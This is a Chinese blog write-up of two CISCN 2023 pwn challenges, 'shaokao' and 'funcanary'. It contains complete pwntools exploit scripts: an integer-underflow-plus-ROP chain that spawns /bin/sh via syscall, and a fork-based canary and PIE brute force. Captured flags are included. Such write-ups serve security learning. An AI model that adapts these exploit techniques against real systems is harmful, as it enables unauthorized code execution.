CISCN2023初赛pwn

1、27日_烧烤摊儿

checksec:

在这里插入图片描述

ida查看:

main函数查看会发现,虽然开了canary,但是并没有设置,也就是说,可以直接栈溢出

在这里插入图片描述

查看反汇编:

在这里插入图片描述

没有什么特别,查看pijiu函数的反汇编:

在这里插入图片描述

发现可以卡bug:输入负数,就可以是的money增加,同时买下摊位,就可以进入关键函数:gaiming:

在这里插入图片描述

这里可以看出,不仅可以栈溢出,还可以把内容复制到name这个全局变量上(也就是可以把binsh字段放上)。

这道题是静态编译,也就是没有libc,因此需要用到syscall。需要用到的寄存器:

在这里插入图片描述

在这里插入图片描述

exp:

from pwn import*
context(os='linux', arch='amd64')
context.log_level = 'debug'

# p=process('./shaokao')
p=remote('123.56.99.60',16862)
elf=ELF('./shaokao')
money=0x04E60F8
name=0x04E60F0
int_0x80=0x04aa6e0
syscall_addr=0x004230a6

p.recvuntil('来点啥?\n')
p.sendline(b'1')
p.recvuntil('勇闯天涯\n')
p.sendline(b'1')
p.recvuntil('来几瓶?\n')
p.sendline(b'-20000')

p.recvuntil('来点啥?\n')
p.sendline(b'4')
p.recvuntil('来点啥?\n')

p.sendline(b'5')
p.recvuntil('请赐名:\n')
# gdb.attach(p)
# pause()
pop_abd_ret=0x04a404a
pop_rsi=0x040a67e
pop_rdi=0x040264f
# p.sendline(b'a'*0x18)
payload=b'/bin/sh\x00'.ljust(0x28,b'\x00')+p64(pop_abd_ret)+p64(0x3b)+p64(0)+p64(0)
payload+=p64(pop_rsi)+p64(0)+p64(pop_rdi)+p64(name)
payload+=p64(syscall_addr)
p.sendline(payload)
# p.recvuntil('欢迎来到')
# addr1=u64(p.recv()[:3].ljust(8,b'\x00'))
# print('addr1_is:',hex(addr1)) #0x40bf60


p.interactive()

flag值:

flag{90d2436c-9ee5-4473-b363-f0db52c2525d}

2、funcanary

checksec:

在这里插入图片描述

ida查看main函数,发现在循环,并且还是fork循环。因为开了canary保护,所以可以考虑利用fork循环爆破出canary:

在这里插入图片描述

跟进中间的函数,发现只是一个read函数,并且可以栈溢出:

在这里插入图片描述

又发现了一个关键函数:

在这里插入图片描述

因为开了地址随机化,程序的后三位是固定的,因此我们只需要爆破出第四位就可以了。这一题主打的就是爆破。

exp:

from pwn import*
context(os='linux', arch='amd64')
context.log_level = 'debug'

p=process('./funcanary')
# p=remote('39.106.84.217',42158)
canary='\x00'
p.recvuntil(b'welcome\n')
for j in range(7):
	for i in range(0x100):
		# p.recvuntil(b'welcome\n')
		payload='a'*0x68+canary+chr(i)
		p.send(payload)
		respond=p.recvuntil(b'welcome\n')
		print('respond_is:',respond)
		if b'have fun\n' in respond:
			canary += chr(i)
			break
# pause()
print('canary_is:',hex(u64(canary)))
print(len(canary))
print(type(u64(canary)))

canary=hex(u64(canary))
canary=int(canary,16)
p.send(b'ok')
for i in range(0x10):
	guess=chr(i*0x10+2).encode('utf-8')
	payload=b'b'*0x68+p64(canary)+p64(0xdeadbeefdeadbeef)
	payload+=b'\x31'+guess
	p.send(payload)
	flag = p.recvuntil('welcome\n')
	if 'flag' in flag:
		break
print('flag_is:',flag)
p.interactive()

flag值:

flag{ecb5a4ae-b39f-4d20-9acf-c71861f7cc5c}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值